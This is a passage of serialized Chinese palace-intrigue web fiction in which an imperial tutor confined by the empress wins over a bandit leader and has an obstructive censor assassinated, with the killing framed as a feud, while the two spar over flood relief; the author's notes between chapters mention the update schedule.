“李华是先生的门生,他去招安,旁人会怎么想?会不会觉得,这是先生在植私人势力,功高震主?”萧青鸾的语气里满是“为他着想”的体贴,“朕可舍不得先生再背上这等污名。” 站在一旁伺候的喜公公,闻言身子地抖了一下。 顾云舟心中冷笑。 说得比唱得还好听。 不让李华去,不就是不想自己的手伸出去。 他放下茶杯,面色如常:“陛下思虑周全,是臣欠妥了。不知陛下心中,可有合适的人选?” 萧青鸾的笑容更甜了,她伸手一指旁边恨不得把自己缩成一团的喜公公。 “朕觉得,喜公公就很好。” “噗通!” 喜公公双腿一软,直接跪在了地上,声音发抖:“陛,陛下……奴,奴才愚钝,怕,怕是担不起这等重任啊!” 开什么玩笑! 让他去跟一群杀人不眨眼的悍匪谈判?那些人可不认他这张在宫里还有点用的脸!怕不是刚一见面,就把他剁了包饺子了! 萧青鸾看都没看他一眼,依旧笑吟吟地望着顾云舟:“喜公公是朕身边最信任的人,他去,就代表着朕的意志。那些叛匪见了,自然知道朕的诚意。先生觉得呢?” 她问的是顾云舟。 顾云舟能说什么? 说喜公公一个太监,手无缚鸡之力,去了就是送? 那岂不是在质疑女帝的决策? “陛下圣明。”顾云舟缓缓吐出四个字。 喜公公瘫在地上,面如死灰,仿佛已经看到了自己命不久矣的下扬。 他完了。 他彻底完了。 这两尊神仙斗法,他成了第一个被丢出去祭天的。 “这第二嘛……”萧青鸾仿佛没看到喜公公的惨状,又伸出了第二根手指,语气依旧轻快。 “那些叛匪,毕竟是叛匪。就算招安了,朕用着也不放心。所以,凡是被招安的独眼龙部众,自百夫长以上,必须在脸上刺上‘驯犬’二字。” “驯犬”! 顾云舟愣了一下。 这是前朝对待最下等官奴的刺字,是永世不可磨灭的耻辱印记。 这哪里是招安? 这分明是把一群桀骜不驯的狼,活生生变成一群摇尾乞怜的狗! “如此,他们便会时刻铭记,是谁给了他们新生,是谁让他们能活在这朗朗乾坤之下。”萧青鸾的语气温柔得像是在谈论天气,“而且,他们的家眷,朕会下旨,全部迁往神京,赐下府邸,好生奉养。让他们在前线为国尽忠,也无后顾之忧。” 好一个“无后顾之忧”。 把人全家老小都抓到京城当人质,这叫“无后顾之忧”? 这一招,比他想象的还要狠毒。 他原本的计划,是利用独眼龙这颗棋子,搅动南境风云,为自己创造破局的机会。 可萧青鸾这两条计一出,独眼龙就算被招安,也成了一条断了脊梁骨的狗。他的家人全在神京,脸上还刺着那样的字,他除了给女帝卖命,还有第二条路可走吗? 所有的盘算,都被这两条看似“合情合理”的补充条件,给堵得严严实实。 “先生?”萧青鸾见他不说话,眨了眨眼,关切地问,“先生是觉得,朕的办法,有什么不妥吗?” 顾云舟松开拳头,抬起头,脸上重新挂上了那副温和的笑容。 “不。陛下此举,恩威并施,方显帝王心术。是臣,自愧不如。” 他的声音很平静,听不出任何情绪。 “先生谬赞了。”萧青鸾笑得眉眼弯弯,“这些,还不是先生平日里教朕的嘛。” 她站起身,绕过桌案,走到顾云舟身边,很自然地拉起他的手。 她的手微凉,却带着不容抗拒的力道。 “至于这第三件事嘛……” 她的声音压得极低,带着一丝少女般的娇憨和依赖,凑到他耳边,吐气如兰。 “先生既然这么关心国事,日日一个人在这忘忧阁里批阅那些陈年旧档,也太劳心费神了。” 顾云舟的心,猛地向下一沉。 一股寒意窜遍全身。 只听萧青鸾用一种天真又憧憬的语气,一字一句地说道: “所以朕决定了。” “从明日起,朕便将早朝后的议事,搬到这忘忧阁来。” “朕要和先生一起,就在这里,在这方寸之间,治理我大炎的万里江山。” “先生,你说好不好呀?” 轰! 顾云舟的脑子里嗡嗡作响。 他所有的伪装的平静,在这一刻,差点就没绷住。 将议事搬到忘忧阁? 这是何等的荒唐! 这看似是与帝师共享天下权柄的无上荣宠。 可实际上呢,他特么连独处的时间都被剥夺! 他的一言一行,一举一动,甚至一个眼神,都将二十四小时无死角地,完全暴露在萧青鸾的眼皮子底下。 供她随时随地地欣赏,把玩,掌控。 不行! 绝对不行! “陛下,万万不可!”顾云舟猛地抽回手,第一次在萧青鸾面前,露出了些许失态。 他深吸一口气,强迫自己冷静下来,躬身行礼,沉声道:“自古君臣有别,内外有别。陛下乃九五之尊,岂可将朝堂议事,设于后宫别院?此举于礼不合,更有损陛下天威!请陛下三思!” 他搬出了“礼法”,搬出了“天威”。 这是他唯一能用的,冠冕堂皇的理由。 然而,萧青鸾只是静静地看着他。 她脸上的笑容慢慢敛去,那双清澈的眼眸里,一点点泛起了幽深如寒潭的漩涡。 她没有去辩驳那些大道理。 她只是歪了歪头,用一种轻得仿佛随时会碎掉的声音,幽幽地反问: “先生……” “你是在关心朕的威严……” “还是在……想离朕,远一点?” 一句话,直接把顾云舟的话给堵死了 诛心之言。 所有冠冕堂皇的理由,在这句直白质问面前,都显得那么苍白无力。 顾云舟僵在原地。 他该怎么回答? 承认吗?承认自己做梦都想离她这个疯子远一点? 那只会换来她更疯狂的禁锢。 否认吗? 看着她那双仿佛能洞穿一切的眼睛,任何谎言都像是个笑话。 他亲手递出了一把刀,想在囚笼上撬开一条缝。 结果,她笑着接过了刀,反手就把唯一的窗户,给彻底焊死了。 许久。 顾云舟缓缓地,缓缓地弯下腰,将头深深地埋了下去。 他听见自己用一种干涩沙哑,连自己都觉得陌生的声音,说道: “臣……遵旨。” 萧青鸾的脸上,终于重新绽放出明媚而满足的笑容。 她伸出手,轻轻拍了拍他的肩膀,像是在安抚一只终于被驯服的宠物。 “这才乖嘛。” 她转身,迈着轻快的步伐向殿外走去,声音远远传来。 “喜公公,准备一下,明日随朕的仪仗,即刻启程。” “先生,你可要好好休息,明日,朕等着与你共商国事呢。” 阳光从敞开的殿门外涌入,将她的身影拉得很长。 顾云舟维持着躬身的姿势,一动不动。 直到那脚步声彻底消失,他才缓缓直起身。 他走到那窗前,看着外面那片被宫墙切割得四四方方的天空。 他的脸上,没有任何表情。 只是那双眼眸里,最后一点温润的光,也彻底熄灭了。 (晚上还要一张哦,谢谢大家的支持啦,有人问我是不是看书瘾大才写的这本,我的回答是,是的,因为一开始就只是打算写给自己看的(`?ω?′)?) 第一百一十四章 宦官南下 喜公公感觉自己快要被南方的湿热天气给腌入味了。 从神京出发时,他怀里揣着女帝的圣旨,心里揣着帝师嘱咐,感觉自己就是个活祭品。 去云梦泽招安那伙杀人不眨眼的悍匪? 这跟直接派他去投胎有什么区别? 出发前夜,女帝含笑看着,顾先生召见了他。 没有计谋,也没有嘱托。 顾云舟只是淡淡道:“此去凶险,一切以自身安危为重。” 说完,他将一枚黑乎乎的木牌塞进喜公公手里。 那木牌看着就是随手雕的,一条丑了吧唧的鱼,做工粗糙,连鱼鳞都没刻几片。 “此物或可辟邪,公公带上吧。” 辟邪? 喜公公当时差点哭出来。先生啊,咱能信点阳间的东西吗?对面是刀口舔血的活阎王,不是什么孤魂野鬼,这玩意儿能挡刀还是能挡箭? 可他不敢问,更不敢不要。 怀揣着,这块破木头,喜公公一路南下,心也一路沉到了底。 云梦泽县衙里,新任县令李华看着喜公公,两人相顾无言。 李源是帝师的门生,可现在也被这鬼地方折腾得没了脾气。 “喜公公,那独眼龙……就是个疯子。”李源脸色发白,“您派去宣旨的校尉,人……人头刚被扔回来。” 衙役们抬着一颗死不瞑目的头颅进来时,喜公公两腿一软,差点瘫在地上。 那独眼蛇还传了话,半个字都没提圣旨。 只说,让朝廷派个够分量的活人来谈,不然下一个扔回来的,就是一船的人头。 够分量的活人。 喜公公摸了摸自己脖子,感觉凉飕飕的。 他这个女帝身边传话的太监,分量够不够?够不够那独眼蛇再砍一颗头送回来? 李华在一旁急得团团转:“公公,要不……咱们先上报朝廷,请陛下派大军……” “来不及了。”喜公公打断了他,声音都在抖。 他脑子里嗡嗡作响,全是那颗滚落在地上的头颅。 可就在这恐惧中,顾先生那句“一切以自身安危为重”又冒了出来。 怎么才算安危为重? 躲在这里,等那疯子杀上门来,把县城屠了,自己一样是死。 上报朝廷?等大军开到,黄花菜都凉了,女帝只会怪他办事不力,到时候他还是死。 横竖都是个死。 那……唯一的活路,竟然就是先生指出的这条死路? 去他娘的! 喜公公一辈子在宫里察言观色,溜须拍马,从未如此胆大包天过。 他猛地一咬牙,像是下了某种决心,对李源道:“李大人,备马!再找一个被俘的土匪带路。” 李华大惊失色:“公公,您要亲自去?万万不可啊!” “咱家不去,难道让你这文弱书生去?”喜公公眼睛都红了,“咱家烂命一条,死了就死了。 这番话说得大义凛然,其实他心里想的是:老子要是死了,做鬼也不会放过顾云舟你个坑货! 迷魂沼泽。 这地方连名字都那么独特。 喜公公深一脚浅一脚地踩在烂泥里, 空气里弥漫着水草腐烂的恶臭,蚊虫疯了似的往他脸上扑。 前面带路的土匪抖得发慌,生怕后面这位京城来的大人物,一不小心就把他给宰了祭天。 走了不知多久,眼前豁然开朗。 一片临水的空地上,匪巢就扎在这里。 歪歪扭扭的木寨,巡逻的土匪个个凶神恶煞。 寨子中央,一个身材魁梧的独眼男人,正坐在一张铺着虎皮的大椅上。 他脸上有一道从额头劈到下巴的狰狞刀疤,那只仅剩的眼睛,充满了不屑。 正是“独眼蛇”,龙一。 喜公公被两个壮汉推搡着,踉跄着跪倒在龙一面前。 “你就是京城来的那个……公公?”龙一的声音粗哑,像是两块石头在摩擦。 喜公公强忍着内心的恐惧,颤巍巍地从怀里捧出圣旨:“咱……咱家奉陛下旨意,前来招安。只要你们归顺朝廷……” “哈哈哈哈哈!” 龙一还没说话,他身后的土匪们就已经爆发出笑声。 “归顺朝廷?”龙一俯下身,独眼死死盯着喜公公,“然后呢?让我们学狗一样,在脸上刺字为奴?再把家里的老娘们和娃儿送到神京城里当人质?” “我呸!”他一口浓痰吐在喜公公面前,“老子们烂命一条,死则死矣!想让老子当狗,下辈子吧!” 喜公公的心凉了。 他知道,圣旨上这几条,是女帝亲手加上的。 这是阳谋,也是羞辱。女帝根本没想过要招安,她只是想借此激怒龙一,好有借口发兵。 完了。 这下真完了。 龙一缓缓站起身,居高临下地看着他。 “老子不管你是什么公公,既然来了,就留下一颗脑袋当回礼吧。” 他抬了抬手。 身后的壮汉,腰刀“噌”地拔出一半。 死亡的阴影,瞬间笼罩了喜公公。 他浑身抖如筛糠,脑子里一片空白。 就在这千钧一发之际,他那只抖个不停的手,下意识地摸到了怀里那块又丑又硬的木牌。 辟邪……辟邪…… 去你娘的辟邪!老子信你最后一次! 喜公公也不知道哪来的力气高高举起,用尽全身力气嘶吼道: “你敢!” 这一声尖利刺耳,硬生生让准备动手的壮汉愣了一下。 所有人的目光,都落在了那块平平无奇的黑木牌上。 土匪们先是错愕,随即又想发笑。 这老太监是吓疯了?拿块破木头当令箭? 然而,坐在虎皮椅上的龙一,在看清那木牌的瞬间,脸上的狞笑,猛地僵住了。 他那只独眼,骤然收缩成一个危险的针尖。 他一步跨下台阶,一把从喜公公手里夺过木牌,凑到眼前。 木牌的雕工很粗糙,只为了辨识形状而忽略细节的刻法…… 他翻过木牌,在鱼尾巴背面,看到了一个极其微小,几乎无法察觉的V形刻痕。 他都认得这个标记! 周围的土匪们都看懵了。 他们眼睁睁地看着自家那个杀人不眨眼的大当家,握着一块破木头,脸色变了又变。 喜公公看到龙一的脸色,就知道自己赌对了。 先生啊先生,您可真滴是神啊! 他强压住狂跳的心,趁热打铁,将顾云舟真正要他带的话,一字一句地说了出来。 “先生有口谕。” “刺青可免,家眷可安。” “归顺于我,而非朝廷。” “尔等,将为我手中之刃,涤荡天下不平之事!” 话音落下,整个匪巢鸦雀无声。 所有人都被这几句大逆不道的话给震住了。 归顺于先生,而非朝廷! 成为先生手中的刀! 龙一握着木牌的手,因为激动而微微颤抖。 他想起那位先生,如何将一片不毛之地变成鱼米之乡,如何让他们这些快饿死的流民吃上了饱饭。 那才是真正值得追随的人! 许久。 在所有下属不可思议的目光中,凶名赫赫的悍匪独眼蛇,对着喜公公手中的方向,缓缓地,单膝跪了下去。 他低下那颗从未向任何人低下的头颅,声音嘶哑,却带着无尽的忠诚。 “属下龙一,参见先生!” (言谢无力,四更奉上) 第一百一十五章 幽谷藏兵 一支风尘仆仆的队伍,正缓缓向城门靠近。 队伍里的人个个凶神恶煞。 可偏偏,队伍最前方,领着这群人进城的,是宫里出来的一个太监。 这画面,怎么看怎么诡异。 喜公公感觉自己的两条腿都在发软。 他回来了,活着回来了。 不但活着,还把“招安”的队伍给带回来了。 可他一点都高兴不起来。因为他知道,自己即将面对的。 一想到那双眼睛,喜公公的后脖颈子就凉嗖嗖。 太和殿内,萧青鸾高坐于龙椅之上,面无表情地看着阶下跪着的喜公公,以及他身后那个土匪头子。 “喜公公,辛苦了。” 她的声音很轻,听不出喜怒。 喜公公头埋得更低了,汗水顺着额角滑落,滴在冰冷的地砖上。 “为……为陛下分忧,是奴才的本分。” 萧青鸾的目光,越过喜公公,落在了龙一的脸上。 她忽然笑了,笑意却未达眼底。 “差事办得不错,居然真的把这伙悍匪招安了。”她顿了顿,声音陡然转冷,“只是,朕怎么瞧着,他们的脸上,似乎太干净了些?” 仿佛大殿内的温度瞬间降到了冰点。 喜公公只觉得一股寒气直冲天灵盖,差点当扬尿了。 来了! 他就知道会是这样! 先生的预判,分毫不差! 他哆嗦着,从牙缝里挤出早就背得滚瓜烂熟的台词,每一个字都像是用尽了全身的力气。 “回……回陛下,先生有言。此等悍匪,如山中恶虎,只服强者,不畏强权。若以刺字之法强压,恐其口服心不服,日后反生祸端。” “先生说……与其在他们脸上烙下屈辱的印记,不如给他们一个机会,让他们用敌人的血,亲手为自己挣来忠诚的烙印。待他们立下赫明战功,心甘情愿跪在陛下面前,求您赐下这无上荣光之时,方为……方为驯虎的上策!” 一番话说完,喜公公已经虚脱了。 他不敢抬头,只能用眼角的余光,盯着龙椅的一角。 大殿内死一般的寂静。 龙一跪在地上,心里却在冷笑。 好一个“挣来忠诚的烙印”,好一个“驯虎的上策”。先生,当真是把人心玩到了骨子里。 他这番话,既捧了女帝,又给了这群兄弟活路和尊严。 高,实在是高。 不知过了多久,,龙椅上才传来一声轻哼。 驯虎?萧青鸾的声音里带着玩味,“好一个驯虎。朕倒要看看,他这套说辞,能不能把恶虎驯成家犬。” 她挥了挥手,语气不容置疑。 “传朕旨意,将这支队伍,安置于京郊虎跳峡,设‘驯虎营,由禁军看管。没有朕的命令,一只苍蝇也不许飞出来。” 至于你……她的目光重新落在喜公公身上,“差事办得不错,回忘忧阁伺候先生吧。” 喜公公如蒙大赦,连滚带爬地叩首谢恩。 走出太和殿,被午后的阳光一照,他才发现,自己的里衣,早已被冷汗湿透。 …… 虎跳峡,名副其实。 两山夹一沟,地势险要,唯一的出口还被高高的营墙和禁军的箭塔给堵死了。 龙一和他手下的几百号兄弟,烦躁地在营地里打转。 禁军看他们的眼神,充满了警惕,送来的伙食,更是连猪食都不如。 “大哥,这鸟地方,咱们能待下去?”一个络腮胡大汉狠狠啐了一口,“这他娘的哪是招安,分明是换个地方坐牢!” 龙一独眼扫过四周,默不作声。 就在这时,一辆不起眼的青布马车,在禁军的盘查下,缓缓驶入了驯虎营。 车上走下来的,还是那个面白无须的喜公公。 只不过这一次,他的腰杆挺直了不少。 “龙一,接先生赏。” 喜公公一挥手,几名小太监吃力地从车上抬下几个大箱子。 箱子打开。 没有金银珠宝,没有绫罗绸缎。 第一口箱子里,是码放得整整齐齐的雪亮钢刀,还有一捆捆寒光闪闪的破甲箭。 第二口箱子里,是上好的金疮药,还有各种疗伤的瓶瓶罐罐。 第三口箱子…… 当第三口箱子打开时,龙一和他手下那群老兵痞的呼吸,瞬间就粗重了。 那里面,是几十具小巧的军用手弩!还有配套的弩箭! 这玩意儿,可是禁军的标配,寻常部队根本见都见不着! 这……龙一张了张嘴,有些不敢相信。 “先生说了,工欲善其事,必先利其器。“兵甲伤药,管够。另外,这是先生亲手为你等编写的操练之法,好生研习,莫要辜负了先生的期望。” 说着,他郑重地递过一本薄薄的册子。 龙一狐疑地接过。 又是书?那位先生就这么喜欢送书? 他随手翻开。 第一页,没有字,只有一个图。 一个简单的三人小队阵型图,旁边标注着:三才阵,可攻可守,互相掩护,如臂使指。 第二页,山地潜行要诀。如何利用草木岩石隐匿身形,如何通过风声鸟鸣判断敌情。 第三页,斥候篇。五人一组,交替侦查,如何绘制简易地图,如何用暗号传递情报。 第四页,袭扰战术。一击脱离,声东击西,如何用最小的代价,造成最大的骚乱…… 龙一越看,心头越是掀起惊涛骇浪。 他和他手下这帮人,都是从死人堆里爬出来的,自以为对打仗杀人这套了如指掌。 这上面写的,不是什么大军团作战的阳谋大道。 恰恰相反,这上面全是阴损毒辣的技巧,是专门为他们这种小股部队量身定做的丛林法则! 这位神秘的帝师,仿佛比他们自己,更了解他们应该如何去战斗! 大哥……旁边的络腮胡凑过来看了一眼,眼睛瞬间就直了,“俺的娘,这……这玩意儿要是练成了,咱们这几百号人,怕是能把几千人的大营给搅个天翻地覆!” 龙一猛地合上册子,他抬起头。 “公公,请转告先生……” 喜公公却摆了摆手,打断了他。 “先生还有一句话让咱家带到。”他清了清嗓子,脸上露出一丝高深莫测的笑意,“先生说,兄弟们在外拼命,家里不能没人照顾。” “你们的家眷,先生已派人全部接出,安置在了江南。每家都分了田地房产,还有足够的银钱过活。往后,吃穿不愁,安稳无忧。” 这句话,比那几十具手弩和兵书,更具杀伤力。 营地里,瞬间静得落针可闻。 所有悍匪都愣住了。 他们之所以落草为寇,不就是为了家里人能活下去吗? 家眷,是他们唯一的软肋,也是朝廷拿捏他们最好的把柄。 他们本以为,归顺之后,家人就会被送到神京,名为“安顿”,实为人质。 可现在…… 那位先生,居然不声不响地,把他们的后顾之忧,给解决了? 而且解决得如此彻底! 女帝用家眷当锁链,把人往死里拴。 先生却用家眷当港湾,让人可以毫无顾忌地去拼命。 高下立判。 “扑通!” 一个满脸刀疤的汉子,双膝重重跪在了地上,对着神京皇宫的方向,磕了一个响头。 “扑通!扑通!” 越来越多的人跪了下去。 他们或许不识字,不懂什么大道理。 但他们懂,谁是真心对他们好。 许久,他深吸一口气,对着喜公公,单膝跪地,声音嘶哑,却字字铿锵。 “请公公帮我带句话给先生。” “从今往后,驯虎营三百六十七条命,皆为先生之刃!” “刀锋所指,万死不辞!” 忘忧阁内,顾云舟放下手中的狼毫笔。 喜公公在一旁,将驯虎营的情形一五一十地作了汇报。 顾云舟静静地听着,脸上古井无波。 直到喜公公说完,他才抬起眼,淡淡地问道:“陛下那边,有什么动静?” “回先生,陛下对您‘足不出户平匪患’的手段,很是满意。”喜公公连忙答道,“只是……只是偶尔会出神,似乎……有些疑虑。” “疑虑?” 顾云舟嘴角勾起一抹微不可查的弧度。 他走到窗边,望着虎跳峡的方向。 疑虑就对了。 一头被关在笼子里的老虎,如果表现得太过温顺,主人反而会睡不着觉。 但如果这头老虎,偶尔还能隔着笼子,帮主人抓几只恶狼。 主人在感到满意的同时,那根名为警惕的弦,自然也就会松上几分。 他要的,就是这一丝松懈。 (这几天忙着写大纲和改前面的章节,没时间看评论了,抱歉哈,依旧尽力保持每日四更哈。) 第一百一十六章 首战 夏夜,蝉鸣也带着几分燥热。 忘忧阁内,冰块散发着丝丝凉意,却压不住那根紧绷的弦。 萧青鸾单手支颐,看着桌案对面那个男人。 顾云舟正垂眸翻阅着卷宗,他看得很认真,仿佛感受不到她的目光。 画面很温馨。 “唉。” 一声叹息,打破了静谧。 顾云舟抬起头,眉头微蹙,将一份卷宗丢到一旁,脸上带着疲惫。 “怎么了,先生?”萧青鸾的声音带着一丝慵懒,像一只吃饱了的猫。 “没什么。”顾云舟摇了摇头,随即又像是忍不住,说道:“只是新政推行,总有些杂音。新科的进士们还是太年轻,手段不够老辣,被几个老臣在暗地里使绊子,处处受限。” 他拿起一份奏本,点了点上面的名字:“尤其是这位张御史,倚老卖老,仗着自己三朝元老的资历,暗中串联了不少人,阳奉阴违。偏偏他又做得极为隐蔽,抓不到什么实质性的把柄,颇为头疼。” 他像是在抱怨工作不顺,又像是倾诉自己的无能。 萧青鸾勾起一抹冷笑,凤眸里没有半分波澜。 “几只嗡嗡叫的苍蝇罢了。”她淡淡道,“上蹿下跳,也只是为了彰显自己的存在。先生不必理会,朕自有清算他们的时候。” “陛下说的是,是臣着相了。 说完,他又低下头,继续批阅卷宗,好像刚才真的只是随口一提。 萧青鸾看着他的侧脸,眼底愈发深沉。 她不信他会真的“头疼”。 她的先生,怎么会为这种小事头疼? 他只是在告诉她,有几只苍蝇,很碍事。 子时,月黑风高。 喜公公提着一盏小小的灯笼,悄无声息地走出忘忧阁,上了一辆不起眼的青布马车。 马车一路疾驰,在京郊虎跳峡那驯虎的军营前停下。 龙一早已在营门口等着。 “公公。”他声音低沉。 喜公公没有废话,从袖中取出一个细长竹筒,递了过去。 “先生的令。” 龙一接过竹筒,入手冰凉。他捏碎蜡封,从里面倒出一卷薄薄的油纸。 展开油纸,上面没有一个字。 只有一幅图。 画的是一座宅邸的详细布局图,从前院马厩到后院茅房,每一条走廊,每一处假山,都标注得清清楚楚。 甚至连哪几处院墙下的狗洞能钻过一个人,都画了出来。 图纸下方,是几行小字。 “戌时一刻,东角门换防,有半柱香的空当。” “护院武师八人,两人在前院,六人在内院。其中两人好赌,亥时会在西厢房的耳房聚赌。” “目标人物,张御史,年六十,无武艺傍身。每晚亥时三刻,会在书房临摹前朝大家字帖,雷打不动。” 情报精准到了令人发指的地步。 龙一和他手下这帮悍匪,自诩刀口舔血,干的都是杀人越货的勾当。可他们那套,跟纸上这几行字比起来,简直就是小孩子过家家。 “公公,先生还有什么吩咐?”龙一的声音有些干涩。 喜公公脸上露出一丝高深莫测的笑,那是他从先生那里学来的。 “先生说,老虎的爪牙,不能只用来吃嗟来之食。” “要见血。” 龙一猛地捏紧了手里的图纸。 他懂了。 这是先生给他们的第一次试炼。 也是给他们的……第一次表现。 “明白。”龙一转身,对着黑暗中一挥手。 十道黑影,从营地阴影中窜出,悄无声息地聚集在他身后。 “目标,城南张府。” “取张御史人头。” “伪作江湖仇杀。” “一个时辰,来回。” “是!”十道声音,压抑得如同坟墓里的风。 …… 同一时刻,城南,张御史府。 张御史正在书房里奋笔疾书。 他写的不是什么字帖,而是一封密信。 信是写给几位旧臣的,内容无非是商议着明日早朝,如何再给那些推行新政的黄口小儿们使绊子,如何让女帝和她那个不知天高地厚的帝师难堪。 写到得意处,他花白的胡须微微翘起,露出一丝得意。 一个小丫头,一个被小丫头拿捏的,也想翻天? 痴人说梦! 突然,窗外传来一声咔嚓声。 “谁?”张御史警觉地抬起头。 回答他的,是门被推开时,那吱呀一声轻响。 一个独眼壮汉站在门口,手里提着一把还在滴血的短刀。 张御史瞳孔猛地一缩, 他看到了独眼壮汉身后的走廊里,他重金聘请的护院武师们,已经东倒西歪地躺了一地,每个人的脖子上都有一道细细的红线。 “你……你们是谁?”张御史声音颤抖,裤裆处一片湿热。 龙一没有回答。 他只是走上前,拿起桌上那封未写完的密信,看了一眼,然后嫌恶地扔进了烛火里。 火苗“腾”地一下窜起,将其吞噬殆尽。 张御史眼睁睁看着,浑身抖得像筛糠。 “饶……饶命……” 龙一的刀,快如闪电。 一抹寒光闪过。 张御史的声音戛然而止,捂着脖子,难以置信地瞪大了眼睛,缓缓倒了下去。 鲜血,染红了他花白的胡须。 龙一用一块布擦干净刀上的血,从怀里摸出一枚锈迹斑斑的铁牌,扔在了张御史的尸体旁。 铁牌上,刻着一头黑虎。 那是黑虎门的令牌,一个三年前就被官府剿灭的江湖门派。据说,黑虎门的门主,当年就是被还是张大人一篇奏疏给参倒的。 嫁祸,就要做得天衣无缝。 龙一转身,带着他的人,如来时一样消失在夜色中。 从潜入到离开,不过一炷香。 张府上下,除了几个核心护卫,竟无一人被惊动。 第二天,御史被杀案震惊朝野。 刑部和大理寺的官差把张府翻了个底朝天,查了整整三天。 最终,看着那枚“黑虎门”的令牌,以及张御史那一刀封喉的伤口,两个衙门会审,得出了一个结论。 江湖寻仇,证据确凿。 草草结案。 忘忧阁内,午后的阳光正好。 萧青鸾纤细的手指捏着糕点,一双凤眸,却盯着对面那个正在悠闲品茶的男人。 顾云舟似乎没注意到她的目光,他慢条斯理地吹了吹茶杯里的热气,轻呷一口,发出一声满足的喟叹。 阁内安静得可怕,连窗外的蝉鸣都识趣地停了。 许久,萧青鸾将那份奏报轻轻放在桌上,声音听不出喜怒。 “张御史死了。” “哦?”顾云舟像是才听到这个消息,抬起眼,恰到好处地露出一丝惊讶,“怎么死的?” “江湖仇杀。”萧青鸾一字一顿,眼睛死死地盯着他。 她想从他脸上,哪怕是眼神深处,找到一丝一毫的破绽。 但她什么都没找到。 他眼中只有一片清澈,仿佛在听一件与自己毫不相干的奇闻。 这让她感到一阵莫名的烦躁, 看,这就是我的先生。 哪怕被我锁在这方寸之地,他依然能于千里之外,取人性命。 这天下,还有什么是他做不到的? 沉默。 令人窒息的沉默。 压得人喘不过气。 就在萧青鸾快要忍不住,想掀翻桌子的时候,顾云舟却突然笑了。 他放下茶杯,抬眸看向她, 他用一种近乎温柔的语气,轻声说道: “陛下,茶凉了。” 第一百一十七章 无声的宣言 那句陛下,茶凉了说完,忘忧阁里的空气就有点死了。 死得透透的。 萧青鸾没走。 她就坐在那,一双凤眸,倒映着顾云舟那张的脸。 她在看他,熟悉又陌生 她想从他脸上找出破绽,哪怕一丝一毫。 可他没有。 他甚至还真的端起那杯已经凉透的茶,又抿了一口,然后微微蹙眉。 这副姿态更具挑衅。 它明明白白地告诉她:没错,人是我杀的。但你没有证据。而且,就算有,你又能奈我何? 一股无名火从萧青鸾心底窜起,几乎要烧掉她的理智。 她想掀了这张桌子。 她然后拔下头上的金簪,狠狠刺进他那总是挂着温和笑意的喉咙。 她想看他惊愕,看他痛苦,看他求饶。 而不是像现在这样,他安然坐着。 而她,明明是天下的主人,却像个被他玩弄于股掌之间的小丑。 最终,她还是把那股火压了下去。 掌心的刺痛,让她恢复了些许冷静。 她缓缓松开手,从袖中取出一份奏报,轻轻放在桌上,推了过去。 “南方数州,大雨一月未停,河水暴涨,数万良田被淹,灾民逾十万。” 她的声音也恢复了往日的清冷,听不出任何情绪。 “神京城里,为了一个死了的张御史吵了三天。可南方的灾民,已经在水里泡了半个月。” 她顿了顿,抬眼。 “先生博古通今,可知有何良策?” 这是一次试探。 也是一次反击。 你在你的棋盘上落子,杀了一个无关紧要的臣子,很好。 现在,轮到我的棋盘了。 这天下,这江山,这万民,才是我的棋盘。 顾云舟的目光从她脸上移开,落在了那份奏报上。 他没有立刻打开,只是用手指轻轻敲了敲桌面。 “陛下既然问策于臣,想必心中已有定论。” 萧青鸾冷笑一声:“朕想听听先生的高见。” “好。” 顾云舟这才慢条斯理地解开丝绸,展开奏报。 奏报很长,字迹潦草,带着水汽和焦灼。 他看得很快,几乎是一目十行。 很快,他便放下了奏报,走到一旁悬挂的巨大舆盘图前。 那是整个大炎王朝的疆域图。 他的目光,精准地落在了南方那几条蜿蜒曲折的蓝色线条上。 “陛下请看。” 他伸出手,那只戴着镣铐的手,在地图上划过。 “南方的水患,年年都有,但从未如此严重。天灾只占三成,人祸,占了七成。” 他的手指点在地图上的一处。 “此处,三江汇流,地势平缓,本是泄洪之地。但近二十年来,沿岸豪强士绅,为了自家田地,私自筑起高坝,将河道越缩越窄。平日里看着是多了万亩良田,一旦遇上大水,便是自掘坟墓。” 他又点了点另一处。 “此处,河道下游,本应年年清淤。但地方官吏与河工沆瀣一气,年年上报清淤,银子花了无数,河里的淤泥却一年比一年厚。水流不畅,自然倒灌。” 他说的每一个字,都敲在萧青鸾的心上。 这些事,她知道。 玄鸟卫的密报里,写得比他说的更详细。 但知道,不代表能解决。 那些筑坝的豪强,哪个身后没有盘根错错节的关系? 那些贪腐的官吏,哪个不是门阀世家推举出来的门生? 牵一发而动全身。 这才是她把这个难题抛给顾云舟的真正原因。 她想看他怎么办。 是束手无策,还是…… “所以,治水,必先治人。”顾云舟的声音将她从思绪中拉回。 他转过身,看着她,目光平静得可怕。 “欲要根治水患,必先清淤拆坝。而清淤拆坝,就是从那些地方豪强身上割肉,从那些贪官污吏嘴里夺食。他们不会束手就擒。” “届时,必然会爆发流血冲突,甚至激起民变。” 萧青鸾的心猛地一跳。 她盯着他,冷冷地问:“那依先生之见,朝中哪支部队,适合去做这件‘脏活’呢?” 问出这句话的瞬间,她甚至有些快意。 来啊,说啊。 你说禁军?他们是守卫神京的,动不了。 你说北府军?那是镇守边关的国之重器,更动不了。 你说让地方州府的兵马去干?他们自己就是豪强的一部分,让他们自己拆自己的坝?简直是笑话。 这是一个死局。 我看你怎么解。 然而,顾云舟笑了。 他脸上的笑容,带着一丝赞许,仿佛在夸她问了一个好问题。 “陛下圣明。” 他毫不避讳地迎着她的目光,一字一句,清晰地说道: “陛下新收编的‘驯虎营’,就很合适。” 忘忧阁内,再次陷入死寂。 他……他竟然敢提! 他竟然敢主动把他那把藏在鞘里的刀,摆到台面上来! 顾云舟仿佛没看她,自顾自地说了下去。 “其一,驯虎营上下,皆是亡命之徒,出身草莽,与那些门阀士绅毫无瓜葛,下手够狠,不会有任何顾忌。” “其二,他们本就是南方人,对那里的地形水文了如指掌,比朝廷派去的任何人都管用。” “其三,也是最重要的一点。” 他顿了顿,嘴角的笑意更深了。 “他们是戴罪之身。派他们去,办好了,是他们立功赎罪,天大的功劳,足以堵住天下悠悠之口。办砸了,也不过是一群匪徒内讧,与朝廷无关。陛下可以此为由,再派大军清剿,名正言顺。” “用一群虎狼,去对付另一群虎狼。以毒攻毒,人尽其才,物尽其用。” 他摊开手,戴着镣铐的手。 “既能为陛下解决心腹大患,又能让他们用命挣来一份清白出身,还能顺便检验一下这支部队的忠诚与战力。如此一举三得之事,陛下以为如何?” 阳谋。 这是彻彻底底的阳谋。 她根本无法拒绝。 拒绝? 理由呢? 说驯虎营是朕的私军,不能动?那置南方的十万灾民于何地?置江山社稷于何地? 